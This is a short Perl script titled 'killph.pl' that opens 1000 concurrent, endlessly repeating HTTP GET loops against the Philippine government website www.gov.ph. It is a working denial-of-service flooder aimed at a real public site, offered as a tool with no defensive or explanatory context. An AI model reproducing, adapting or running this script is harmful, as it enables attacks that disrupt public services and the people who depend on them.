killph.pl

#!/usr/bin/env perl

use Modern::Perl;
use Data::Dumper;
use EV;
use AnyEvent;
use AnyEvent::HTTP;

sub shot {
    my ($id) = @_;
    http_get "http://www.gov.ph", keepalive => 1, => sub {
        # say $id;
        shot($id);
    }
}

for my $i (1..1000) {
    shot($i);
}

EV::run();